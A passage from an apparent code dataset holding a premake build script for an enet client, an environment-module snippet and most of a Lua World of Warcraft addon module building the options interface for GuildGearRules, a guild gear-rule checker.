content
stringlengths
5
1.05M
project ("Test_enet_client") language "C++" kind "ConsoleApp" targetdir "../../../bin" includedirs {"../../../examples/ThirdPartyLibs/enet/include"} if os.is("Windows") then defines { "WIN32" } links {"Ws2_32","Winmm"} end if os.is("Linux") then end if os.is("MacOSX") then end links {"enet"} files { "main.cpp", }
setenv("TACC_MKL_DIR", "/unknown/apps/mkl/10.3") add_property("arch","offload") add_property("arch","mic") add_property("arch","gpu")
GuildGearRulesUserInterface = GuildGearRules:NewModule("GuildGearRulesUserInterface", "AceHook-3.0"); local L = LibStub("AceLocale-3.0"):GetLocale("GuildGearRules"); local _cstr = string.format; local DEBUG_MSG_TYPE = { ERROR = 1, WARNING = 2, INFO = 3, }; local TOOLTIP_TYPE = { BANNED = 1, BANNED_PARTLY = 2, ALWAYS_ALLOWED = 3, } local C = { GUILD = "|cff3ce13f", PARTY = "|cffaaa7ff", RULE = "|cffe6cc80", TITLE = "|cffffd100", ATTRIBUTE = "|cff03f002", RED = "|cffcb2121", GREEN = "|cff49cb21", ORANGE = "|cffcb8121", GRAY = "|cFFCFCFCF", WHITE = '|cFFFFFFFF', }; local CLASSES_FILE = { [1] = "WARRIOR", [2] = "PALADIN", [3] = "HUNTER", [4] = "ROGUE", [5] = "PRIEST", [6] = "DEATHKNIGHT", [7] = "SHAMAN", [8] = "MAGE", [9] = "WARLOCK", [10] = "MONK", [11] = "DRUID", [12] = "DEMONHUNTER", }; local CLASSES_NAME = { [1] = "Warrior", [2] = "Paladin", [3] = "Hunter", [4] = "Rogue", [5] = "Priest", [6] = "Death Knight", [7] = "Shaman", [8] = "Mage", [9] = "Warlock", [10] = "Monk", [11] = "Druid", [12] = "Demon Hunter", }; local CLASS_COLORS = { ["WARRIOR"] = "|cffc79c6e", ["PALADIN"] = "|cfff58cba", ["HUNTER"] = "|cffabd473", ["ROGUE"] = "|cfffff569", ["PRIEST"] = "|cffffffff", ["DEATHKNIGHT"] = "|cffc41f3b", ["SHAMAN"] = "|cff0070de", ["MAGE"] = "|cff40c7eb", ["WARLOCK"] = "|cff8787ed", ["MONK"] = "|cff00ff96", ["DRUID"] = "|cffff7d0a", ["DEMONHUNTER"] = "|cffa330c9", }; local INVENTORY_SLOT = { [0] = INVTYPE_AMMO, [1] = INVTYPE_HEAD, [2] = INVTYPE_NECK, [3] = INVTYPE_SHOULDER, [5] = INVTYPE_CHEST, [6] = INVTYPE_WAIST, [7] = INVTYPE_LEGS, [8] = INVTYPE_FEET, [9] = INVTYPE_WRIST, [10] = INVTYPE_HAND, [11] = INVTYPE_FINGER .. " (1)", [12] = INVTYPE_FINGER .. " (2)", [13] = INVTYPE_TRINKET .. " (1)", [14] = INVTYPE_TRINKET .. " (2)", [15] = INVTYPE_CLOAK, [16] = INVTYPE_WEAPONMAINHAND, [17] = INVTYPE_WEAPONOFFHAND, [18] = INVTYPE_RANGED, }; local function Color(col, text) return col .. text .. "|r"; end local lastDesc = ""; local function Desc(text) lastDesc = text; return text; end function GuildGearRulesUserInterface:Initialize(core) self.Core = core; self.Network = self.Core:GetModule("GuildGearRulesNetwork"); LibStub("AceConfig-3.0"):RegisterOptionsTable("GuildGearRules", self:GetOptions()); self.optionsFrame = LibStub("AceConfigDialog-3.0"):AddToBlizOptions("GuildGearRules", L["GUILD_GEAR_RULES"]); self.optionsFrame.default = function() self.Core.db:ResetProfile(self.Core:DefaultSettings()); self:Refresh(); end; self:Refresh(); self.MinimapButtonTexture = 136031; self.MinimapButtonTextureActive = 135995; self.SortedCheaterGUIDS = { }; self.SortedCheaterIDs = { }; self.ViewedCheater = nil; self.ViewedCharacterData = nil; self.ScanGuildAddOnsInput = ""; self:SetupMinimapButton(); if (not self.Core.db.profile.HideWarning) then self:ShowWarning(); end --[[ self:SecureHook(GameTooltip, "SetBagItem", "UpdateItemTooltip"); self:SecureHook(GameTooltip, "SetInventoryItem", "UpdateItemTooltip"); self:SecureHook(GameTooltip, "Hide", "HideTooltip"); self:SecureHook(ItemRefTooltip, "SetHyperlink", "OnSetHyperlink"); self:SecureHook(ItemRefTooltip, "Hide", "HideTooltip"); self.ExtendedTooltips = { }; self.ExtendedTooltips["GameTooltip"] = CreateFrame("GameTooltip", "GuildGearRulesExtendedGameTooltip", nil, "GameTooltipTemplate"); self.ExtendedTooltips["ItemRefTooltip"] = CreateFrame("GameTooltip", "GuildGearRulesExtendedItemRefTooltip", nil, "GameTooltipTemplate"); ]]-- self.Core:Log(tostring(self) .. " initialized."); return self; end --[[ function GuildGearRulesUserInterface:ShowWarningTooltip(tooltip, tooltipType, info) local extendedTooltip = self.ExtendedTooltips[tooltip:GetName()]; if (extendedTooltip == nil) then return; end local headerText = ""; if (tooltipType == TOOLTIP_TYPE.BANNED) then headerText = Color(C.RED, L["TOOLTIP_BANNED"]); elseif (tooltipType == TOOLTIP_TYPE.BANNED_PARTLY) then headerText = Color(C.ORANGE, L["TOOLTIP_BANNED_PARTLY"]); elseif (tooltipType == TOOLTIP_TYPE.ALWAYS_ALLOWED) then headerText = Color(C.GREEN, L["TOOLTIP_ALLOWED"]); end if (true) then local y = tooltip:GetTop(); local screenHeight = GetScreenHeight(); local anchors = { Base = "ANCHOR_TOP", First = { From = "BOTTOMLEFT", To = "TOPLEFT", }, Second = { From = "BOTTOMRIGHT", To = "TOPRIGHT", }, }; if (y ~= nil and screenHeight - y <= 100) then anchors = { Base = "ANCHOR_BOTTOM", First = { From = "TOPLEFT", To = "BOTTOMLEFT", }, Second = { From = "TOPRIGHT", To = "BOTTOMRIGHT", }, }; end extendedTooltip:SetOwner(tooltip, anchors.Base); extendedTooltip:ClearLines(); extendedTooltip:AddDoubleLine(Color(C.TITLE, "Guild Gear Rules"), headerText); if (info ~= nil) then extendedTooltip:AddLine(info, 1, 1, 1, true); end extendedTooltip:Show(); extendedTooltip:SetPoint(anchors.First.From, tooltip, anchors.First.To, 0, 0) extendedTooltip:SetPoint(anchors.Second.From, tooltip, anchors.Second.To, 0, 0) for i = 1, extendedTooltip:NumLines() do local line = _G[extendedTooltip:GetName() .. "TextLeft"..i]; local lineRight = _G[extendedTooltip:GetName() .. "TextRight"..i]; line:SetFont("Fonts\\FRIZQT__.TTF", 10); lineRight:SetFont("Fonts\\FRIZQT__.TTF", 10); end end if (true) then tooltip:AddLine(" "); tooltip:AddDoubleLine(Color(C.TITLE, "Guild Gear Rules"), headerText); if (info ~= nil) then tooltip:AddLine(info, 1, 1, 1, true); end tooltip:Show(); end end function GuildGearRulesUserInterface:ValidateTooltip(tooltip, itemLink) self:HideTooltip(tooltip); if (itemLink ~= nil) then local spellName, spellID = GetItemSpell(itemLink); -- Check if it's a consumable which applies a banned buff. if (spellID ~= nil) then for i = 1, #self.Core.Rules.BannedBuffGroups do local buffGroup = self.Core.Rules.BannedBuffGroups[i]; if (buffGroup.IDs:Contains(spellID)) then self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.BANNED_PARTLY, "Buff " .. self:Buff(spellID) .. " is banned from level " .. tostring(buffGroup.MinimumLevel) .. "."); return; end end end local itemID = select(3, self:HyperlinkInfo(itemLink)); -- Check if is allowed item. if (self.Core.Rules.Items.AllowedIDs:Contains(itemID)) then self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.ALWAYS_ALLOWED, "Exempted from the rules."); return; end local quality = C_Item.GetItemQualityByID(itemLink); if (quality ~= nil and quality > 2) then self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.BANNED, "Exceeds " .. self:GetItemQualityText(self.Core.Rules.Items.MaxQuality) .. " quality."); else local attribute = self.Core.Inspector:HasBannedAttribute(tooltip, itemLink); if (attribute) then self:ShowWarningTooltip(tooltip, TOOLTIP_TYPE.BANNED, "Attribute " .. self:Attribute(attribute) .. " is banned."); end end end end function GuildGearRulesUserInterface:OnSetHyperlink(tooltip, itemLink) -- SetHyperlink might be called after the tooltip has been hidden, so better check if it's visible. if (itemLink ~= nil and tooltip:IsVisible()) then self:ValidateTooltip(tooltip, itemLink); else self:HideTooltip(tooltip); end end function GuildGearRulesUserInterface:UpdateItemTooltip(tooltip) local name, itemLink = tooltip:GetItem(); if (itemLink ~= nil) then self:ValidateTooltip(tooltip, itemLink); else self:HideTooltip(tooltip); end end function GuildGearRulesUserInterface:HideTooltip(tooltip) local extended = self.ExtendedTooltips[tooltip:GetName()] if (extended ~= nil) then extended:Hide(); end end ]]-- function GuildGearRulesUserInterface:SetupMinimapButton() local lbd = LibStub("LibDataBroker-1.1"):NewDataObject("GuildGearRules", { type = "data source", text = L["GUILD_GEAR_RULES"], icon = self.MinimapButtonTexture, OnClick = function(_, button) if button == "LeftButton" then self:Show(); return; elseif button == "MiddleButton" then self:ShowTab("rules"); return; elseif button == "RightButton" then if not IsModifierKeyDown() then self:ShowTab("cheatersTab"); return; elseif IsControlKeyDown() then self:ToggleMinimapButton(); return; end end end, OnTooltipShow = function (tooltip) tooltip:AddDoubleLine(Color(C.WHITE, L["GUILD_GEAR_RULES"]), "v" .. self.Core.Constants.Version); tooltip:AddLine(Color(C.RULE, L["MINIMAP_BUTTON_DESC"]) .. "\n\n"); tooltip:AddLine(Color(C.GRAY, L["LEFT_CLICK"]) .. ": " .. L["TOGGLE_FRAME"]); tooltip:AddLine(Color(C.GRAY, L["MIDDLE_CLICK"]) .. ": " .. L["OPEN_RULES"]); tooltip:AddLine(Color(C.GRAY, L["RIGHT_CLICK"]) .. ": " .. L["OPEN_CHEATERS"]); tooltip:AddLine(Color(C.GRAY, L["RIGHT_CLICK_CTRL"]) .. ": " .. L["HIDE_MINIMAP_BUTTON"]); end, }); self.MinimapButton = LibStub("LibDBIcon-1.0"); self.MinimapButton:Register("GuildGearRules", lbd, self.Core.db.char.MinimapButton); self:RefreshMinimapButtonAlertState(); end function GuildGearRulesUserInterface:RefreshMinimapButtonAlertState() local button = self.MinimapButton:GetMinimapButton("GuildGearRules"); -- Button might be disabled and not found, in that case do nothing. if (button == nil ) then return; end local anyCheaters = false; for key, cheater in pairs(self.Core.Inspector.Cheaters) do if (cheater:CheatingDataCount() > 0) then anyCheaters = true; break; end end if (anyCheaters) then button.icon:SetVertexColor(1, 1, 1); button.icon:SetTexture(self.MinimapButtonTextureActive); else button.icon:SetVertexColor(0.5, 0.5, 0.5); button.icon:SetTexture(self.MinimapButtonTexture); end end function GuildGearRulesUserInterface:ToggleMinimapButton() self.Core.db.char.MinimapButton.hide = not self.Core.db.char.MinimapButton.hide; if (self.Core.db.char.MinimapButton.hide) then self.MinimapButton:Hide("GuildGearRules"); else self.MinimapButton:Show("GuildGearRules"); -- Refresh the state of the minimap button since it could not be refreshed while disabled. self:RefreshMinimapButtonAlertState(); end self:Refresh(); end function GuildGearRulesUserInterface:ShowWarning() local AceGUI = LibStub("AceGUI-3.0"); -- Create a container frame local f = AceGUI:Create("Frame"); f:SetWidth(400); f:SetHeight(200); f.frame:SetMaxResize(400, 200); f:SetCallback("OnClose",function(widget) AceGUI:Release(widget) end); f:SetTitle(L["GUILD_GEAR_RULES"] .. " " .. L["WARNING"]); f:SetLayout("Flow"); local desc = AceGUI:Create("Label"); desc:SetText(_cstr(L["WARNING_DESC"], L["GUILD_GEAR_RULES"])); desc:SetFullWidth(true); local openOptions = AceGUI:Create("Button"); openOptions:SetText(L["OPEN_SETTINGS"]); openOptions:SetWidth(200); openOptions:SetCallback("OnClick", function() print(self.Show()) end) local checkBox = AceGUI:Create("CheckBox"); checkBox:SetCallback("OnValueChanged", function(widget, callback, val) self.Core.db.profile.HideWarning = val; end); checkBox:SetLabel(L["DONT_SHOW_AGAIN"]); checkBox:SetFullWidth(true); f:AddChild(desc); f:AddChild(openOptions); f:AddChild(checkBox); end function GuildGearRulesUserInterface:GetOptions() options = { name = "Guild Gear Rules", handler = GuildGearRulesUserInterface, type = "group", childGroups = "tab", args = { gui = { order = 0.1, type = "execute", guiHidden = true, name = L["TOGGLE_FRAME"], func = function() self:Show(); end, }, cheaters = { order = 0.2, type = "execute", guiHidden = true, name = L["OPEN_CHEATERS"], func = function() self:ShowTab("cheatersTab"); end, }, mainDesc = { order = 0.3, type = "description", name = "|cfffff569" .. L["VERSION"] .. "|r " .. self.Core.Constants.Version .. " " .. "|cfffff569" .. L["AUTHOR"] .. "|r Tonedo", fontSize = "small", }, core = { order = 1, name = L["CORE"], type = "group", args = { checker = { order = 1, type = "group", cmdHidden = true, guiInline = true, name = L["CORE_INFO"], desc = Desc(_cstr(L["CORE_INFO_DESC"], Color(C.TITLE, L["GUILD_GEAR_RULES"]), Color(C.GUILD, L["GUILD_MEMBERS"]), Color(C.GUILD, L["GUILD_CHANNEL"]), Color(C.GUILD, L["GUILD"]:lower()), Color(C.TITLE, L["RULES"]))), args = { desc = { order = 1, type = "description", name = lastDesc, fontSize = "medium", }, websiteLink = { order = 2, type = "input", width = "full", disabled = false, name = L["CORE_INFO_UPDATES"], get = function() return self.Core.Constants.DownloadLink; end, }, }, }, options = { order = 2, type = "group", guiInline = true, name = L["OPTIONS"], args = { removeBannedBuffs = { order = 1, confirm = function() return not self.Core.db.profile.removeBannedBuffs; end, type = "toggle", name = L["CORE_REMOVE_BANNED_BUFFS"], desc = L["CORE_REMOVE_BANNED_BUFFS_DESC"], set = function(info,val) self.Core.db.profile.removeBannedBuffs = val; end, get = function(info) return self.Core.db.profile.removeBannedBuffs; end, }, receiveData = { order = 2, type = "toggle", name = L["CORE_RECEIVE_DATA"], desc = L["CORE_RECEIVE_DATA_DESC"], set = function(info,val) self.Core.db.profile.receiveData = val; end, get = function(info) return self.Core.db.profile.receiveData; end, }, minimapButton = { order = 3, type = "toggle", name = L["CORE_MINIMAP_BUTTON"], desc = L["CORE_MINIMAP_BUTTON_DESC"], set = function(info,val) self:ToggleMinimapButton() end, get = function(info) return not self.Core.db.char.MinimapButton.hide; end, }, startUpWarning = { order = 4, type = "toggle", name = L["CORE_STARTUP_WARNING"], desc = L["CORE_STARTUP_WARNING_DESC"], set = function(info,val) self.Core.db.profile.HideWarning = val; end, get = function(info) return self.Core.db.profile.HideWarning; end, }, }, }, alert = { order = 3, type = "group", guiInline = true, name = L["CORE_ALERT"], desc = Desc(_cstr(L["CORE_ALERT_DESC"], Color(C.GUILD, L["GUILD_MEMBERS"]))), args = { desc = { order = 1, type = "description", name = lastDesc, fontSize = "medium", }, sound = { order = 2, type = "select", name = L["SOUND"], desc = L["SOUND_TO_PLAY"], set = function(info,val) self.Core.db.profile.alertSoundID = val; self.Core:PlaySound(true, val); end, get = function(info) return self.Core.db.profile.alertSoundID end, values = { [8959] = L["SOUND_RAID_WARNING"], [12867] = L["SOUND_ALARM_CLOCK_WARNING"], [8046] = L["SOUND_RAGNAROS"], [8809] = L["SOUND_KELTHUZAD"], } }, test = { order = 3, type = "execute", width = "half", name = L["TEST"], func = "AlertTest", desc = L["CORE_ALERT_TEST_DESC"], disabled = function() return not IsInGuild() end, }, }, }, inspection = { order = 4, type = "group", guiInline = true, name = L["INSPECTION"], desc = Desc(_cstr(L["INSPECTION_DESC"], "!gear")), args = { desc = { order = 1, type = "description", name = lastDesc, fontSize = "medium", }, descExtra = { order = 2, type = "description", name = L["INSPECTION_FOOTER"], fontSize = "small", }, notify = { order = 3, type = "toggle", width = "half", name = L["INSPECTION_NOTIFY"], desc = L["INSPECTION_NOTIFY_DESC"], set = function(info,val) self.Core.db.profile.inspectNotify = val end, get = function(info) return self.Core.db.profile.inspectNotify end, }, guildOnly = { order = 4, type = "toggle", width = "half", name = Color(C.GUILD, L["GUILD_ONLY"]), desc = L["GUILD_ONLY_DESC"], set = function(info,val) self.Core.db.profile.inspectGuildOnly = val end, get = function(info) return self.Core.db.profile.inspectGuildOnly end, }, cooldown = { order = 5, type = "select", name = L["COOLDOWN"], desc = L["INSPECTION_COOLDOWN_DESC"], set = function(info,val) self.Core.db.profile.inspectCooldown = val; end, get = function(info) return self.Core.db.profile.inspectCooldown; end, values = { [0] = L["COOLDOWN_NONE"], [1] = L["COOLDOWN_SECONDS_1"], [5] = L["COOLDOWN_SECONDS_5"], [10] = L["COOLDOWN_SECONDS_10"], [30] = L["COOLDOWN_SECONDS_30"], } }, }, }, }, }, rules = { order = 2, name = L["RULES"], type = "group", cmdHidden = true, args = { title = { order = 1, type = "header", cmdHidden = true, name = function() if not self.Core.Rules.Loaded then return L["RULES_NOT_LOADED"] else return _cstr(L["RULES_LOADED"], Color(C.GUILD, GetGuildInfo("player"))) end end, }, limitations = { order = 2, type = "group", cmdHidden = true, name = L["RULES_LIMITATIONS"], guiInline = true, args = { capitals = { order = 1, type = "toggle", cmdHidden = true, width = 0.7, name = "|cfffffbff" .. L["RULES_LIMITATIONS_CAPITALS"] .. "|r", desc = L["RULES_LIMITATIONS_ZONE_DESC"], get = function(info) return self.Core.Rules.Apply.Capitals end, }, world = { order = 1, type = "toggle", cmdHidden = true, width = 0.7, name = "|cfffffbff" .. L["RULES_LIMITATIONS_WORLD"] .. "|r", desc = L["RULES_LIMITATIONS_ZONE_DESC"], get = function(info) return self.Core.Rules.Apply.World end, }, dungeons = { order = 3, type = "toggle", cmdHidden = true, width = 0.7, name = "|cffaaa7ff" .. L["RULES_LIMITATIONS_DUNGEONS"] .. "|r", desc = L["RULES_LIMITATIONS_ZONE_DESC"], get = function(info) return self.Core.Rules.Apply.Dungeons end, }, raid = { order = 3, type = "toggle", cmdHidden = true, width = 0.7, name = "|cffff4709" .. L["RULES_LIMITATIONS_RAIDS"] .. "|r", desc = L["RULES_LIMITATIONS_ZONE_DESC"], get = function(info) return self.Core.Rules.Apply.Raids end, }, battleground = { order = 4, type = "toggle", cmdHidden = true, width = 0.7, name = "|cffff7d00" .. L["RULES_LIMITATIONS_BATTLEGROUNDS"] .. "|r", desc = L["RULES_LIMITATIONS_ZONE_DESC"], get = function(info) return self.Core.Rules.Apply.Battlegrounds end, }, level = { order = 5, type = "description", name = function () return Color(C.RULE, L["RULES_LIMITATIONS_LEVELS"]) .. ": " .. self:GetRulesLevel(self.Core.Rules.Apply.Level); end, }, excludedRanks = { order = 6, type = "description", name = function() return Color(C.RULE, _cstr(L["RULES_LIMITATIONS_RANKS"], Color(C.GREEN, "Applied"), Color(C.ORANGE, "Excluded")) .. ":\n") .. self:GetExcludedRanks(self.Core.Rules.ExcludedRanks) end, fontSize = "small", }, }, }, items = { order = 3, type = "group", cmdHidden = true, name = L["RULES_ITEMS"], guiInline = true, args = { maxQuality = { order = 1, type = "description", name = function() return Color(C.RULE, L["RULES_ITEMS_MAX_QUALITY"]) .. ": " .. self:GetItemQualityText(self.Core.Rules.Items.MaxQuality) end, fontSize = "small", }, bannedAttributes = { order = 2, type = "description", name = function() return Color(C.RULE, L["RULES_ITEMS_BANNED_ATTRIBUTES"]) .. ": " .. self:GetBannedAttributes() end, fontSize = "small", }, exceptionsAllowed = { order = 3, type = "description", name = function() return Color(C.RULE, L["RULES_ITEMS_EXCEPTIONS_ALLOWED"]) .. ": " .. self.Core.Rules.Items.ExceptionsAllowed; end, fontSize = "small", }, alwaysAllowed = { order = 4, type = "description", name = function() return Color(C.RULE, L["RULES_ITEMS_ALWAYS_ALLOWED"]) .. ": " .. self:GetItemsAllowed(); end, fontSize = "small", }, }, }, buffs = { order = 4, type = "group", cmdHidden = true, name = L["RULES_BUFFS"], guiInline = true, args = { bannedBuffs = { order = 1, type = "description", name = function() return self:GetBannedBuffs(); end, fontSize = "small", }, }, }, }, }, social = { order = 3, name = L["SOCIAL"], type = "group", args = { welcome = { order = 1, name = L["NEW_MEMBER_ALERT"], desc = Desc(_cstr(L["NEW_MEMBER_ALERT_DESC"], Color(C.GUILD, L["GUILD"]))), type = "group", guiInline = true, args = { desc = { order = 1, type = "description", name = lastDesc, fontSize = "medium", }, enabled = { order = 2, type = "toggle", width = "half", name = L["ENABLED"], desc = L["TOGGLE_ENABLE_DESC"], set = function(info,val) self.Core.db.profile.welcomeEnabled = val end, get = function(info) return self.Core.db.profile.welcomeEnabled end, }, sound = { order = 3, type = "select", name = L["SOUND"], desc = L["SOUND_TO_PLAY"], disabled = function() return not self.Core.db.profile.welcomeEnabled; end, set = function(info,val) self.Core.db.profile.welcomeSoundID = val; self.Core:PlaySound(true, val); end, get = function(info) return self.Core.db.profile.welcomeSoundID end, values = { [7094] = L["SOUND_RANDOM_PEASANT_GREETINGS"], [7194] = L["SOUND_RANDOM_PEON_GREETINGS"], } }, }, }, gratulate = { order = 2, name = L["LEVEL_UP_ALERT"], desc = Desc(L["LEVEL_UP_ALERT_DESC"]), type = "group", guiInline = true, args = { desc = { order = 1, type = "description", name = lastDesc, fontSize = "medium", }, enabled = { order = 2, type = "toggle", width = "half", name = L["ENABLED"], desc = L["TOGGLE_ENABLE_DESC"], set = function(info,val) self.Core.db.profile.gratulateEnabled = val end, get = function(info) return self.Core.db.profile.gratulateEnabled end, }, sound = { order = 3, type = "select", name = L["SOUND"], desc = L["SOUND_TO_PLAY"], disabled = function() return not self.Core.db.profile.gratulateEnabled; end, set = function(info,val) self.Core.db.profile.gratulateSoundID = val; self.Core:PlaySound(true, val); end, get = function(info) return self.Core.db.profile.gratulateSoundID end, values = { [124] = L["SOUND_LEVEL_UP"], [8455] = L["SOUND_PVP_VICTORY_ALLIANCE"], [8454] = L["SOUND_PVP_VICTORY_HORDE"], }, }, party = { order = 4, type = "toggle", width = "half", disabled = function() return not self.Core.db.profile.gratulateEnabled; end, name = Color(C.PARTY, L["PARTY"]), desc = L["REACT_ON_PARTY_CHANNEL"], set = function(info,val) self.Core.db.profile.gratulateParty = val end, get = function(info) return self.Core.db.profile.gratulateParty end, }, guild = { order = 5, type = "toggle", width = "half", disabled = function() return not self.Core.db.profile.gratulateEnabled; end, name = Color(C.GUILD, L["GUILD"]), desc = L["REACT_ON_GUILD_CHANNEL"], set = function(info,val) self.Core.db.profile.gratulateGuild = val end, get = function(info) return self.Core.db.profile.gratulateGuild end, }, } }, }, }, cheatersTab = { order = 4, name = L["CHEATERS"], type = "group", cmdHidden = true, args = { desc = { order = 1, type = "description", name = L["CHEATERS_DESC"], }, cheaters = { order = 2, name = L["CHEATER_VIEW"], type = "select", cmdHidden = true, desc = L["CHEATERS_SELECT"], set = function(info,val) self:ViewCheater(self.SortedCheaterGUIDS[val]); end, get = function(info) if (self.ViewedCheater ~= nil) then return self.SortedCheaterIDs[self.ViewedCheater.GUID]; end return nil; end, values = function() return self:GetCheaterList(); end, }, clear = { order = 3, type = "execute", cmdHidden = true, name = L["CHEATERS_REMOVE"], desc = L["CHEATERS_REMOVE_DESC"], func = function() self.Core.Inspector:ForgetCheater(self.ViewedCheater); end, disabled = function() return self.ViewedCheater == nil; end, }, refresh = { order = 4, type = "execute", cmdHidden = true, name = L["CHEATERS_REFRESH"], desc = L["CHEATERS_REFRESH_DESC"], func = "Refresh", }, cheaterHeader = { order = 5, type = "header", name = function() return self:GetCheaterHeader(); end, }, reporters = { order = 6, name = L["CHEATER_REPORTER"], type = "select", cmdHidden = true, desc = L["CHEATER_REPORTER_DESC"], set = function(info,val) self:ViewCheaterData(val); end, get = function(info) if (self.ViewedCharacterData ~= nil) then return self.ViewedCharacterData.Capturer.GUID; end return nil; end, values = function() return self:GetCheaterDataList(); end, }, ignoreReporter = { order = 7, name = L["CHEATER_REPORTER_IGNORE"], type = "execute", cmdHidden = true, desc = _cstr(L["CHEATER_REPORTER_IGNORE_DESC"], Color(C.TITLE, L["ADVANCED"])), func = function() self.Core:IgnoreReporter(self.ViewedCharacterData.Capturer.Name); end, disabled = function() return self.ViewedCharacterData == nil or self.ViewedCharacterData.Capturer.GUID == self.Core.Player.GUID or self.Core:IsIgnored(self.ViewedCharacterData.Capturer.Name); end, }, bannedItems = { order = 8, name = L["CHEATER_INFORMATION_BANNED_ITEMS"], type = "group", guiInline = true, cmdHidden = true, args = { equipped = { order = 1, type = "description", name = function() return self:GetCheaterBannedItems(true); end, fontSize = "medium", }, unEquipped = { order = 2, type = "description", name = function() return self:GetCheaterBannedItems(false); end, fontSize = "medium", }, } }, bannedBuffs = { order = 9, name = L["CHEATER_INFORMATION_BANNED_BUFFS"], type = "group", guiInline = true, cmdHidden = true, args = { active = { order = 1, type = "description", name = function() return self:GetCheaterBannedBuffs(true); end, fontSize = "medium", }, unActive = { order = 2, type = "description", name = function() return self:GetCheaterBannedBuffs(false); end, fontSize = "medium", }, } }, }, }, advanced = { order = 5, name = L["ADVANCED"], type = "group", args = { users = { order = 1, name = L["ADVANCED_USERS"], type = "group", args = { notify = { order = 1, name = L["ADVANCED_VERSIONS_NOTIFY"], type = "group", desc = Desc(L["ADVANCED_VERSIONS_NOTIFY_DESC"]), guiInline = true, args = { desc = { order = 1, type = "description", name = lastDesc, cmdHidden = true, }, message = { order = 2, type = "input", width = 1.8, name = L["MESSAGE"], validate = function(info, val) if (val:len() > 255) then return "Maximum of 255 characters allowed."; else return true; end end, set = function(info, val) self.Network.MessageToNonUsers = val; end, get = function() return self.Network.MessageToNonUsers; end, disabled = function() return not IsInGuild(); end, }, send = { order = 3, type = "execute", width = "half", name = L["SEND"], func = function() self.Network:NotifyNonUsers(); end, disabled = function() return not IsInGuild() or self.Network.MessageToNonUsers == nil or self.Network.MessageToNonUsers:len() == 0; end, }, }, }, list = { order = 2, name = L["ADVANCED_STATUS"], type = "group", guiInline = true, cmdHidden = true, args = { text = { type = "description", width = "full", name = function() return self.Network:GetUsersList(); end, }, }, }, }, }, addons = { order = 2, name = L["ADDONS"], type = "group", args = { options = { order = 1, name = L["SEARCH"], type = "group", desc = Desc(L["SEARCH_ADDONS_DESC"]), guiInline = true, args = { desc = { order = 1, type = "description", name = lastDesc, }, input = { order = 2, type = "input", width = 1.8, name = L["SEARCH_ADDONS_INPUT"], set = function(info, val) self.SearchGuildAddOnsInput = val; end, get = function() return self.SearchGuildAddOnsInput; end, disabled = function() return not IsInGuild(); end, }, search = { order = 3, type = "execute", width = "half", name = L["SEARCH"], func = function() self.Network:SearchGuildAddOns(self.SearchGuildAddOnsInput) end, disabled = function() return not IsInGuild() or self.SearchGuildAddOnsInput == ""; end }, }, }, list = { order = 2, name = L["SEARCH_RESULTS"], type = "group", guiInline = true, cmdHidden = true, args = { text = { type = "description", width = "full", name = function() return self.Network:GetSearchResults(); end, }, }, }, }, }, ignoredReporters = { order = 3, name = L["IGNORED_REPORTERS"], type = "group", desc = Desc(L["IGNORED_REPORTERS_DESC"]), args = { desc = { order = 1, type = "description", name = lastDesc, }, list = { order = 2, type = "input", width = "full", multiline = true, name = L["LIST"], set = function(info, val) self.Core.db.factionrealm.ignoredReporters = val; end, get = function() return self.Core.db.factionrealm.ignoredReporters; end, disabled = function() return not IsInGuild(); end, }, }, }, }, }, debugging = { order = 6, name = L["DEBUGGING"], type = "group", args = { level = { order = 1, type = "select", name = L["DEBUGGING_LEVEL"], desc = L["DEBUGGING_LEVEL_DESC"], set = function(info,val) self.Core.db.profile.DebuggingLevel = val; end, get = function(info) return self.Core.db.profile.DebuggingLevel; end, values = { [0] = L["DEBUGGING_LEVEL_0"], [1] = L["DEBUGGING_LEVEL_1"], [2] = L["DEBUGGING_LEVEL_2"], [3] = L["DEBUGGING_LEVEL_3"], } }, debugCache = { order = 2, type = "toggle", width = "half", disabled = function() return self.Core.db.profile.DebuggingLevel == 0; end, name = L["DEBUG_CACHE"], set = function(info,val) self.Core.db.profile.DebugCache = val end, get = function(info) return self.Core.db.profile.DebugCache end, }, debugData = { order = 3, type = "toggle", width = "half", disabled = function() return self.Core.db.profile.DebuggingLevel == 0; end, name = L["DEBUG_DATA"], set = function(info,val) self.Core.db.profile.DebugData = val end, get = function(info) return self.Core.db.profile.DebugData end, }, debugNetwork = { order = 5, type = "toggle", width = "half", disabled = function() return self.Core.db.profile.DebuggingLevel == 0; end, name = L["DEBUG_NETWORK"], set = function(info,val) self.Core.db.profile.DebugNetwork = val end, get = function(info) return self.Core.db.profile.DebugNetwork end, }, clearLogs = { order = 6, type = "execute", name = L["CLEAR_DEBUG_LOGS"], desc = L["CLEAR_DEBUG_LOGS_DESC"], func = function() self.Core:ClearLogs(); end, }, logs = { order = 7, name = L["DEBUG_LOGS"], type = "group", guiInline = true, cmdHidden = true, args = { debugLogs = { type = "description", width = "full", name = function() return self:GetLogs(); end, }, }, }, }, }, }, }; return options; end function GuildGearRulesUserInterface:UpdateCharacterView() -- Update currently viewed cheater in UI. local cheaters = self.Core.Inspector.Cheaters; local exists = false; for index, value in pairs(cheaters) do if (value:HasCheatedDataCount() > 0 and value.GUID == self.ViewedCheater.GUID) then exists = true; end end if (not exists) then self.ViewedCheater = nil; self.ViewedCharacterData = nil; end if (self.ViewedCheater == nil or self.ViewedCheater:HasCheatedDataCount() == 0) then if (#cheaters > 0) then for key, cheater in pairs(cheaters) do if (cheater:HasCheatedDataCount() > 0) then self:ViewCheater(cheater.GUID); break; end end end end end function GuildGearRulesUserInterface:ViewCheater(guid) self.ViewedCheater = self.Core.Inspector:GetCheater(guid); for key, data in pairs(self.ViewedCheater.Data) do if (data.HasCheated) then self.ViewedCharacterData = data; break; end end self:Refresh(); end function GuildGearRulesUserInterface:GetCheaterList() local array = { }; for key, cheater in pairs(self.Core.Inspector.Cheaters) do if (cheater:HasCheatedDataCount() > 0) then local hasCheatedCount = cheater:HasCheatedDataCount(); local cheatingCount = cheater:CheatingDataCount(); local ending = " " .. Color(C.ORANGE, L["CHEATER_STATUS_MIXED"]); local sort = 1; -- All reports show as cheating. if (cheatingCount > 0 and cheatingCount == hasCheatedCount) then ending = " " .. Color(C.RED, L["CHEATER_STATUS_CHEATING"]); sort = 0; -- No reports show as cleared. elseif (cheatingCount == 0) then ending = " " .. Color(C.GREEN, L["CHEATER_STATUS_CLEARED"]); sort = 2; end self.Core:AddSorted(array, sort, cheater.Name, 